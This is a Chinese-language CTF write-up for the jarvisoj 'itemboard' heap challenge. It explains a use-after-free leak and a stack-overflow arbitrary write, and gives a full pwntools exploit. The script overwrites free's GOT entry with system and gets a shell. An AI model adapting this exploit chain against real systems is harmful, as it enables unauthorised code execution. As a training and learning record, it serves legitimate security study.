0x00. 前言 前天遇到一题含有Use after free的PWN,题目开启了NX、PIE等防护。我花了一天时间磕磕碰碰,最终弄出来了,现记录下过程。
0x01. 漏洞利用思路 漏洞位置:  该题存在两个漏洞,一个是Use after free导致的地址泄漏;一个是栈溢出导致的任意地址写。漏洞如下图:
利用思路:  首先,利用Use after free泄漏libc以及堆块基址。由于题目将代码段的item_free函数地址存储在堆上,因此,利用栈溢出任意地址写结合Use after free可以泄漏代码段的地址。最后利用system地址覆盖free函数的got,然后free堆块就可以了。
0x02. 漏洞利用代码 漏洞利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from  pwn import  *DEBUG = 0  if  DEBUG:    context.log_level = 'debug'      p = process('./itemboard' ) else :    p = remote("pwn2.jarvisoj.com" , 9887 ) def  new_item (name, length, des ):    p.recvuntil('choose:' )     p.sendline('1' )     p.recvuntil('Item name?' )     p.sendline(name)     p.recvuntil('len?' )     p.sendline(str (length))     p.recvuntil('Description?' )     p.sendline(des) def  list_item ():    p.recvuntil('choose:' )     p.sendline('2' )     print  p.recvuntil('1.' ) def  show_item (num, ans='Description:'  ):    p.recvuntil('choose:' )     p.sendline('3' )     p.recvuntil('Which item?' )     p.sendline(str (num))     p.recvuntil(ans) def  delete_item (num ):    p.recvuntil('choose:' )     p.sendline('4' )     p.recvuntil('Which item?' )     p.sendline(str (num)) def  exp ():         new_item('0' *8 , 256 , '0' *16 )     new_item('1' *8 , 32 , '1' *16 )     delete_item(0 )     show_item(0 )       addr = p.recvuntil('\n' )     main_arena = u64(addr[0 :-1 ].ljust(8 , '\x00' ))     delete_item(1 )     show_item(1 )     addr = p.recvuntil('\n' )     heap_addr = u64(addr[0 :-1 ].ljust(8 , '\x00' ))     if  DEBUG:         libc = main_arena - 0x3c3b10  - 0x68          system_addr = libc + 0x45390      else :         libc = main_arena - 0x3be740  - 0x78          system_addr = libc + 0x46590      log.success("libc address: "  + hex (libc))     log.success("system address: "  + hex (system_addr))     log.success("heap address: "  + hex (heap_addr))          payload =  p64(heap_addr)     payload =  payload.ljust(1032 , 'a' )     payload += p64(heap_addr + 0x38 )     new_item(p64(heap_addr - 0x10 ), 1048 , payload)     show_item(1 , 'Name:' )     addr = p.recvuntil('\n' )     item_free = u64(addr[0 :-1 ].ljust(8 , '\x00' ))     text = item_free - 0xb39      free_got = text + 0x202018      log.success("text address: "  + hex (text))          payload =  p64(system_addr)     payload =  payload.ljust(1032 , 'a' )     payload += p64(heap_addr - 0x148 )     new_item("/bin/sh\x00" , 32 , p64(free_got))     new_item('4' *16 , 1048 , payload)     delete_item(3 )     p.interactive() if  __name__ == '__main__' :    exp() 
 
0x03. 体会 由于接触堆漏洞时间短,没有大量训练,解决这道题时遇到各种坑,记录下体会。首先,一开始发现了栈溢出,但是没想到如何利用,就忘记了,忘记了。然后发现Use after free可以泄漏地址,但只泄漏了fast bin中堆基址,而没想到泄漏unsorted bin中libc地址。与此同时,发现可以Double free,就一直在想如何构造伪块,利用Large bin attack覆盖tls_dtors_list地址,但是strcpy复制输入数据到堆上时会截断NULL字节并且Large bin attack在当前版本的glibc(2.23)已经失效。尝试了几次,发现这条路走不通。我就重新认真思考,突然发现既然能泄漏堆块基址,就可以泄漏libc基址。当泄漏了libc基址和堆块地址,就在想如何覆盖free@got.plt ,但是Large bin attack在当前版本glibc已经失效。然后在午睡的时候,突然灵光一闪,发现栈溢出这块还没有利用,认真分析了一下栈溢出可以覆盖的内容,发现可以通过覆盖栈上item地址,造成任意地址写。已经快接近成功了,但是由于程序开启的PIE导致代码段地址随机,无法获取free@got.plt 地址。就在想如何泄漏text段地址,通过调试观察堆上内容,发现text段的item_free函数的地址存储在堆上。于是,通过任意地址写结合Use after free泄漏text段地址,从而获取free@got.plt 地址,最终成功。PS:我在Ubuntu14.04(glibc 2.19)上通过Overwriting tls_dtors_list可以利用成功,但是在打远程时由于tls_dtors_list地址偏移不一致,导致失败。